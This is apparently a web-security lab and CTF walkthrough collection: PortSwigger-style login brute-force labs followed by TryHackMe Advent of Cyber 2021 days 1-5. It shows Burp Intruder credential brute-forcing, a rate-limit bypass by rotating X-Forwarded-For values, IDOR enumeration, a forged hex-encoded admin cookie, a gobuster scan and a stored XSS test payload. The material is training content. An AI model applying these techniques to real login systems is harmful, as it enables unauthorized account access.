Payload type: Simple List
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F4e8LnDyHiA9DuRok426p%2Fimage.png?alt=media\&token=d2ff2670-c8e6-4190-b459-bfedb815b1e6)

Once done, hit start attack. (ignore error, if any)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FMawumcptPi0m1wAwwISq%2Fimage.png?alt=media\&token=1168047c-aace-48ce-b3ee-5ae72dce1090)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F7YMNyeTtgyU0KvFSyazN%2Fimage.png?alt=media\&token=fc0e2d28-817d-45a1-bd7f-07a2db2d6fd3)

Once, attack is completed, sort the requests according to Length. When done so, one of the requests should have a longer length compared to the rest as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FyrsqxHUrdECg0UyFUIsD%2Fimage.png?alt=media\&token=12fe46da-3f89-434b-84d0-0a1ced08b59f)

Upon further inspection of that request, we are able to see a new error as such. This confirms that the username is indeed `application`

```jsx
Incorrect password
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F1DqYdvbyOkRpWUQ3Eq1e%2Fimage.png?alt=media\&token=1620d865-3379-4049-b51f-3aa31c68516b)

### Password Enumeration

Now repeat the process all over again but target the password field with the password list while keeping the username a constant.

Right-click on the `POST` request and send it to the intruder tab

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FNBPl0qloep6aDBTkCDkw%2Fimage.png?alt=media\&token=b3acf972-2e9a-4c2c-9a9a-73d04194c4ac)

Setup the positions as such

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FDd0ZxjOFjgwBWzo3oT9b%2Fimage.png?alt=media\&token=fbc91f65-c51a-4449-9790-a6c78637bcd9)

Paste the password list where the username list was

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fqcaj8ynmDuc8iS3YrpBk%2Fimage.png?alt=media\&token=679174d3-9114-43d0-b764-572321ef64bf)

Start the attack

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FVilTmeahennLhizeplom%2Fimage.png?alt=media\&token=7bfca645-45ba-4999-b2a2-aa5710b4bd9a)

Once, attack is completed, sort the requests according to Length. When done so, one of the requests should have a longer length compared to the rest as shown below. The 302 status code indicates a redirect and looking at the `location` parameter in the response confirms that we have indeed got the right password. (`soccer`)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F2LZdEh4zY0AKV5X7iJDj%2Fimage.png?alt=media\&token=f5050fe7-5850-4c8f-b26b-479fc1cf21c2)

Upon Logging in with the found credentials, we complete the lab.

```jsx
application:soccer
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FRFfWDoL4ZvoUYFKCsbtY%2Fimage.png?alt=media\&token=25112006-36a9-46b7-9ef6-a0d1a01338bb)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F98oyQ7btZcYPIbkYPMUe%2Fimage.png?alt=media\&token=cadd3258-221d-4f68-93ea-4efd9c66a0f9)

✅


# Username enumeration via subtly different responses

This lab is subtly vulnerable to username enumeration and password brute-force attacks.

## Exploitation

### Username Enumeration

Submit an incorrect set of credentials to the login page and capture the `POST` request with burp. Then send the request to Intruder.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FFIJXakyLHchPaNjdLK52%2Fimage.png?alt=media\&token=ad8542d9-5147-4f95-b019-2eab30016d4b)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fffgh91zLPimIRU0Z6UIR%2Fimage.png?alt=media\&token=b0def8a1-736f-43f1-a214-78ccc35e6a3a)

The only response we get after an incorrect try is `Invalid username or password.`. Let's try and look for that while brute forcing usernames first. Under the positions tab, mark the username field.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FdFOd6vLp9vYHOkTnK1ZV%2Fimage.png?alt=media\&token=cd9e98a1-5687-44ab-a80a-6f15fc54cff8)

Under payloads, paste the given username list.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FU3Xzq8z1DdSrOW3QzUdr%2Fimage.png?alt=media\&token=c1a87534-3e31-44d4-bb0f-e3f8547079b0)

Under options, head to the `Grep - Extract` tab and hit add.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FUG2qh6YMIfQ6nCGt8vCZ%2Fimage.png?alt=media\&token=49a4e8b2-1f5b-41dc-9e7e-e376eea44b16)

Highlight the phrase `Invalid username or password.` . this will mark this and check for this occurrence on every request. We might be able to spot a difference and maybe find the username.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F0pSqLu0AXGGrgdVA24c7%2Fimage.png?alt=media\&token=eb4ac5b4-0a70-4531-baef-8b9ca4b8038d)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FeiSv51hRV438Nzjnihvd%2Fimage.png?alt=media\&token=8a5c5a55-ad67-461a-bf03-54903b000787)

Once the attack completes, sorting the grep extract reveals one request with a slightly different response compared to the rest as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FMgHnLO9lIvlJtEIzMekb%2Fimage.png?alt=media\&token=4aa98cb1-0606-4002-8059-5cfdde398e4a)

We are able to see that request number 56's response is missing a full stop compared to the rest. We can assume that this was intentional by the challenge developer and take the payload as the username.

```jsx
Username = alpha
```

### Password Enumeration

With the username found, we can now replace the username in the request with the correct one and mark the password field for brute force under the positions tab.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FF75oKmHBgZEcvfmRayXg%2Fimage.png?alt=media\&token=04343b49-e604-445b-908b-0379eca6f4ca)

Then head to the payloads tab, paste the given password list and start the attack!

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fn5oDVoBSt53TfMMXEwIn%2Fimage.png?alt=media\&token=ba2518aa-e0c5-43a6-b386-a3f4381049e9)

Once the attack is completed, sorting the requests by status codes reveals a request with the status code `302`. Which is often seen after a successful login.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fp9tCqN9P2Px30eChHVQI%2Fimage.png?alt=media\&token=0ab41e8d-bbdf-49eb-832e-ef688bfd7a99)

From this we can infer that the password is `dragon`.

```jsx
username = alpha
password = dragon
```

Logging in with those credentials completed the lab!

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FdBuY3zX9LUzdGvNAfWHH%2Fimage.png?alt=media\&token=5fbc380e-5fb4-4398-8ff4-0b7a9940cc03)

✅


# Username enumeration via response timing

This lab is vulnerable to username enumeration using its response times.

## Exploitation

### Username Enumeration

Intercepting a login request with invalid credentials, we are able to see that the server takes some time to get back to us. After a certain number of requests, the server returns `You have made too many incorrect login attempts. Please try again in 30 minute(s).` (as shown below) This indicates that the server has some soft of Web Application Firewall inplace to mitigate against brute force attacks.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FTltOoqptRWvH37TKFV4T%2Fimage.png?alt=media\&token=bac06c92-b840-481a-88e4-ba3642036016)

There are usually 4 possible HTTP headers that can aid in bypassing an IP filter.

* X-Forwarded-For
* X-Originating-IP
* X-Remote-IP
* X-Remote-Addr

Adding `X-Forwarded-For` and giving it a random value bypasses the WAF as shown below. We are able to get a response. However, we would have to keep iterating the value of this field to keep bypassing and conduct a brute force attack.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FFylffwwazOPuXuTeBONo%2Fimage.png?alt=media\&token=b1920e00-9f49-4aa2-a3bc-802734e4df01)

{% hint style="info" %}
Additionally, I noticed that the server takes longer to respond to a request containing the right username and a **long** wrong password. However, the server instantly responds to a request containing the wrong username and a **long** wrong password.

This implies that the server checks the username then the password. We can abuse this and perform username enumeration by sending requests with long passwords accompanied by our username list. If the username is wrong, we would get a quick response. Else, we would get a slow response confirming our username. Pretty cool ngl!
{% endhint %}

Now that we have an understanding of what goes on in the background, we can now move on to enumerating the usernames. Send the request to Intruder, mark the `X-Forwarded-For` & `username` field, modify the password to be any long value and switch the attack type to `Pitch Fork` as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FWnmEbEsZOsgK4UbxqC08%2Fimage.png?alt=media\&token=06998207-ed25-41da-8ce7-65c9bfe41abe)

Under the payloads tab, select payload set 1 and set the type to `number`. We will be using this payload type to randomize/iterate our `X-Forwarded-For` field. Under payload options, set the following.

```jsx
Type = Sequential
From = 10
To = 100
Base = Decimal
Max Fraction Digits = 0
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FdI6ta2RBhMW3rLBIqTNs%2Fimage.png?alt=media\&token=aa141b3f-3576-4a19-8d6c-a1d38da9c6e8)

Next select the 2nd payload set and paste the username list for brute force. Once done, hit start attack and wait for the attack to complete.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FLL92GfoD6T76KhNGIDUw%2Fimage.png?alt=media\&token=d1af41ef-dee8-45d7-b267-b6260b5434ed)

Meanwhile, enable the `Response received` and the `Response completed` column on the attack window for further analysis later on.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FVo04ZeLHA2927iU5OVTL%2Fimage.png?alt=media\&token=80042506-cc59-4dc8-8e19-506b171daa1d)

Once sorted by Response Received, as suspected there is a request which yielded a slow response time from the server. The username appears to be `applications` as shown below.

```jsx
username = applications
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fy5WJmYGOmkGxGhXtDw0L%2Fimage.png?alt=media\&token=c1e4d1bb-ee13-49c2-b954-67af55209d06)

### Password Enumeration

Now that we have the username, we can remove the "long password" technique and rerun the brute force attack with just the `X-Forwarded-For` increment to bypass the WAF.

Decrease the password length and mark its field instead of the username field.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Ft3MzjUOWpTHRxHWEOaWi%2Fimage.png?alt=media\&token=ce2e5626-39cb-4aa2-a033-9d20add80cd8)

Replace the list under payload set 2 with the password list and hit start attack.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FHL2jMwImV1DMCZKBPNwR%2Fimage.png?alt=media\&token=187c1a48-a78f-474c-bf9c-fded087fef90)

Once the attack is completed, we are able to see one request with a status code `302` which signifies a redirect after a successful login 😉

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FeL8zDfEVYMUNEuek2mST%2Fimage.png?alt=media\&token=21a2d50c-12de-4adf-9b75-786e303a578f)

We are able to infer the password from this response. `password = monitor`

```jsx
Username = applications
Password = monitor
```

Logging in with these credentials solves the lab!

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F9X1PQiFJtpwSFib9LbMz%2Fimage.png?alt=media\&token=7794e64c-8338-4f7c-8507-99426ff180c3)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fwby2m1b1zvpBeJEf1tX2%2Fimage.png?alt=media\&token=ca34ac4c-abce-43e7-9585-65bcfbe7c28e)

✅


# Advent of Cyber 3 (2021)

25 days of cyber security leading up to Christmas!

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FQkfG2IMwzBYfVN8B6t32%2Fgrinch.png?alt=media\&token=7d3f23b0-5973-4771-ac51-0404f8f945b1)

Advent of Cyber is an event that gets people started in cyber security, by releasing beginner friendly security exercises every day leading up to Christmas.

## The Story

It's the eve of 30th November - McSkidy sits in her large office with a cup of hot cocoa, reminiscing over her stressful times at the Best Festival Company. Since her management of the Christmas Monster's cyber attacks last December, she'd been promoted to Chief Information Security Office (CISO) and has managed to build a world-class security team. She made a promise to never let Christmas get affected by cyber incidents and has done everything in her power to prepare the best festival company for any incidents, and assist Santa in delivering presents globally with no disruptions!<br>

As she grins to herself "After all we've done, what could go wrong", Elf McAssistant runs into her office and gasps "All our security analysts have missed their last shift and no security personnel can be found in the building". McSkidy jumps out of her chair and spills her hot cocoa all over herself "WHAT".

She swiftly moves over to the Elf Security Center housing the security personnel and looks over the large area filled with empty desks. *Where did everyone go on the eve of the most important time for the Best Festival Company.* She rushes over to the desk of the head of her security analyst team, Elf McLeader, and notices the desk is surprisingly clean. For someone so messy, how is his work area completely empty? As she started theorising in her head, she noticed a small piece of paper hidden at the back of the desk behind the screen. As she made sense of what was on the paper, her eyes widened - why did McProfessional book a one-way flight ticket away on this exact day!

Before she had time to make any assumptions, a loud, grumpy voice was resonating across the security center from the internal announcement systems "Grinch Enterprises will never let Christmas succeed. It would be a shame if your world-class security team just suddenly disappeared"

"*THIS WAS ALL PLANNED - HOW DID THEY ACCESS OUR INTERNAL SYSTEMS"* cried McSkidy. Their intelligence team had prepared for this exact scenario but it didn't help that the security center was completely empty!

"This needs to stop happening" sighed McSkidy and dragged herself to the office to save Christmas.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FRPvYsVb5IdGcqjEZtvyu%2F5e8cb80480c59ddb6a15d732bf114af7.png?alt=media\&token=2864d88d-18bf-462d-83f0-7e6d78e7715b)


# \[Day 1] Save The Gifts

{Web Exploitation = Insecure Direct Object Reference vulnerability}

## Story

The inventory management systems used to create the gifts have been tampered with to frustrate the elves. It's a night shift, and McStocker comes to McSkidy panicking about the gifts all being built wrong. With no managers around to fix the issue, McSkidy needs to somehow get access and fix the system and keep everything on track to be ready for Christmas!

## Challenge

Accessing the site reveals an `Inventory Management System`.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FT3hGiCSgqgrUJdfCugP0%2Fimage.png?alt=media\&token=9d40cf56-9edc-4732-aefd-c70a11ebf0de)

Heading to the Your Activity tab reveals the current user's `Name`, `Employee ID` and `Position`.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FcksNEeb2OAzVE7QMBcHk%2Fimage.png?alt=media\&token=f1bd946b-b187-47d2-a2ae-79e1f56a1bbe)

Modifying the `user_id` request parameter in the URL exposes the IDOR (Insecure Direct Object Reference) vulnerability exsistent on the website as shown below. Using this vulnerability we are able to fish out the user ids of the staff in the company

```
santa = 1
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FwkC8tPzOVaFy4CDQUPf0%2Fimage.png?alt=media\&token=698d83c2-7f25-4a2d-a589-0165f1db52ad)

{% hint style="success" %}
After finding Santa's account, what is their position in the company?

* The Boss!
  {% endhint %}

```
McStocker = 3
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F1Eli5p7b8Ohp29RoEzFA%2Fimage.png?alt=media\&token=e941e6b8-4af3-49f6-a93e-f5ac43ed07ef)

{% hint style="success" %}
After finding McStocker's account, what is their position in the company?

* Build Manager
  {% endhint %}

Repeating this, we find the employee's profile that had made the rogue changes.

```
Grinch = 9
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FCwAyyTDQg5RlvxzDkHqn%2Fimage.png?alt=media\&token=220aef6b-35be-4164-8b5e-a0593d7da0c7)

{% hint style="success" %}
After finding the account responsible for tampering, what is their position in the company?

* Mischief Manager
  {% endhint %}

Hitting revert on all actions fixes the problem and reveals the flag as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FhZFx51rg4jFpb4fjyfcV%2Fimage.png?alt=media\&token=6a6da7b0-31dd-4e12-be35-681d122d0e71)

{% hint style="success" %}
What is the received flag when McSkidy fixes the Inventory Management System?

* **THM{AOC\_IDOR\_\*\*\*\*\*\*\*\*}**
  {% endhint %}


# \[Day 2] Elf HR Problems

{Web Exploitation = Cookie Manipulation}

## Story

McSkidy needs to check if any other employee elves have left/been affected by Grinch Industries attack, but the systems that hold the employee information have been hacked. Can you hack them back to determine if the other teams in the Best Festival Company have been affected?

## Challenge

Accessing the site reveals a login form as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FFiRkljmakzhyNpJtrrch%2Fimage.png?alt=media\&token=04cb2c70-f8b3-43ab-8324-501b142ffd4d)

Registered an account to get an idea of what's going on in the application.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FfYzPrsa1ewBkDlEaaBlH%2Fimage.png?alt=media\&token=4c02c35f-3688-4c5c-ad30-5933997cc455)

After registering the site announced that I didn't have permission to register for an account as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F3aA8DrxZucxLkf2E1iM8%2Fimage.png?alt=media\&token=2bfc531b-2f6d-4390-bfa0-301ca28b9be6)

Taking a look at the cookies created by the site, we can see 2 values.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FFKMTGJda1AS2PkwEHFoq%2Fimage.png?alt=media\&token=aa0a2f00-f42c-44ca-8782-ac7ae866fc35)

{% hint style="success" %}
What is the name of the new cookie that was created for your account?

* user-auth
  {% endhint %}

Decoding the cookie with cyberchef reveals that `hexadecimal` encoding was used.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FmW4KMvYK6DgBKGMmtVcD%2Fimage.png?alt=media\&token=cb4f3c4c-c75f-4101-afd1-ff598d0bbf61)

{% hint style="success" %}
What encoding type was used for the cookie value?

* hexadecimal
  {% endhint %}

Decoding as hex, we are able to see the values in `JSON` format.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FEGvsiTAegb7eYVFFYYO9%2Fimage.png?alt=media\&token=023a7334-bdb8-4fb7-a66c-39ab4f52babf)

{% hint style="success" %}
What object format is the data of the cookie stored in?

* json
  {% endhint %}

Now let's modify the username field to `admin` and re-encode it.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FLGs1arILMJoYC3otKs5V%2Fimage.png?alt=media\&token=1d8b7199-f0ec-47e3-af7a-7a4d708ad6d5)

{% hint style="success" %}
What is the value of the administrator cookie? (username = admin)

* 7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a2261646d696e227d
  {% endhint %}

Now let's replace the existing cookie value with the value we just re-encoded.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FSk9HxVzGNZnm5pRBsdTZ%2Fimage.png?alt=media\&token=1915e97c-f545-4b32-b8d7-d1efe0eacd39)

After hitting refresh, the admin page appears on screen.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FAclipoM66WhkLQgsrrMT%2Fimage.png?alt=media\&token=397daf60-6cb2-4908-985e-86e54a0cb952)

{% hint style="success" %}
What team environment is not responding?

* HR
  {% endhint %}

{% hint style="success" %}
What team environment has a network warning?

* Application
  {% endhint %}


# \[Day 3] Christmas Blackout

{Web Exploitation = Content Discovery}

## Challenge

Accessing the site reveals a login form as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FfdUmRbNPNV5oR4LmsEXD%2Fimage.png?alt=media\&token=e0e3e7b4-b599-4d37-bd7f-05844f53bf1f)

Since there was no attack vector via the main page, I scanned the web directory for hidden directories with the command below.

```
gobuster dir -u http://10.10.11.109/ -e -w /usr/share/wordlists/dirb/common.txt -t 100 -x .php,.txt,.html,.cnf,.conf | tee gobuster.log
```

While running that, I noticed a URL `10.10.11.109/admin` with a redirect status code.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F9MP05g5HHqe8jhlTJ0Oq%2Fimage.png?alt=media\&token=967b62cc-5608-4b89-b8c0-a8bb2b78c57f)

{% hint style="success" %}
Using a common wordlist for discovering content, enumerate <http://10.10.11.109> to find the location of the administrator dashboard. What is the name of the folder?

* admin
  {% endhint %}

`10.10.11.109/admin/` returned the following.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FAu29SxwEDhTEvAZ8oOum%2Fimage.png?alt=media\&token=f1521250-9671-4f71-b478-b3e7ef55c456)

Trying `administrator:administrator` logged me into the admin portal and revealed the flag!

{% hint style="success" %}
In your web browser, try some default credentials on the newly discovered login form for the "administrator" user. What is the password?

* administrator
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F6jvnSdWXKIfGUgD3veJO%2Fimage.png?alt=media\&token=5e3c26d1-6926-4791-9516-b44cc7fc8ffb)

{% hint style="success" %}
Access the admin panel. What is the value of the flag?

* THM{ADM1N\_\*\*\*\*\*}
  {% endhint %}


# \[Day 4] Santa's Running Behind

{Web Exploitation = Fuzzing}

## Challenge

Accessing the site reveals a login form as shown below.&#x20;

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FJlB68IVmZlsTT3rEt9yu%2Fimage.png?alt=media\&token=1e2dcef5-c152-4c86-8e8e-61b1364e7fe9)

The following was the password list provided to us.

```
christmas
elves!
santa
festive
joy123
myrrh!
yuletide
presents
candy
tidings
cookie
cookies
biscuits!
snowball
snowball123
```

First, capture a dummy login request on burp and send it to the intruder

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F5TvtAQPZjukZTjkou0Jh%2Fimage.png?alt=media\&token=065691cf-5dde-47e3-9d14-90d2f5c0b16a) ![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FekLyfM6n9p7qEi3mS2gO%2Fimage.png?alt=media\&token=21d6a9c8-52e9-4fba-a82b-e3f768b48755)

Mark the payload positions as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FEShE9Cynfd7ZEGbbO1pj%2Fimage.png?alt=media\&token=4177ec8f-e617-4b47-999f-bb434a439954)

Paste the given wordlist under payload set 1 and start the attack.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FYf8DDrBBgRu2bFUGz86h%2Fimage.png?alt=media\&token=479f06d3-edc2-4abd-824a-1b9507c45912)

After the attack has been completed. It's obvious that one request has a longer response and a status code of `302` AKA redirect.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fzb49ipTLDL8wzitjlgT5%2Fimage.png?alt=media\&token=02ec99c7-0aa8-43d0-a18e-113b3fb78205)

Trying to login with `santa:cookie` succeeds and we are able to see Santa's Itinerary.

{% hint style="success" %}
What valid password can you use to access the "santa" account?

* cookie
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FlLtcCvIx3mAXASUUJ3Yw%2Fimage.png?alt=media\&token=405a0e57-0cd5-4ad8-8a34-0f53cbdb7d95)

{% hint style="success" %}
What is the flag in Santa's itinerary?

* THM{SANTA\_\*\*\*\*\*\*\*}
  {% endhint %}


# \[Day 5] Pesky Elf Forum

{Web Exploitation = XSS}

## Story

The Elf Forum is where all the elves express their joy and excitement about Christmas, but Grinch Enterprises has one bad admin account, and they've installed a plugin that changes all mentions of Christmas to Buttmas!! McSkidy needs to find that admin account and disable the plugin.

## Challenge

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FQPLNg0gWOxSaym8HnfQb%2Fimage.png?alt=media\&token=6748c0db-07bc-4481-878e-582fb48e4e0c)

Logging in with the given credentials returns the following.

```
Username: McSkidy

Password: password
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FE5TV4XXT23zTPAYtjZEu%2Fimage.png?alt=media\&token=b6bbadf5-0c69-46c3-97e9-ebd89d61dc69)

Visiting the settings page reveals a password reset feature.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fir64o91qaSntny7JdADC%2Fimage.png?alt=media\&token=f645daf0-f9a4-4cad-8350-4b3b285b668e)

Posting the following as a comment reveals that the platform is vulnerable to stored XSS attacks. and any payload posted as a comment will run when another user accesses the page.&#x20;

```
<script>alert(1)</script>
```

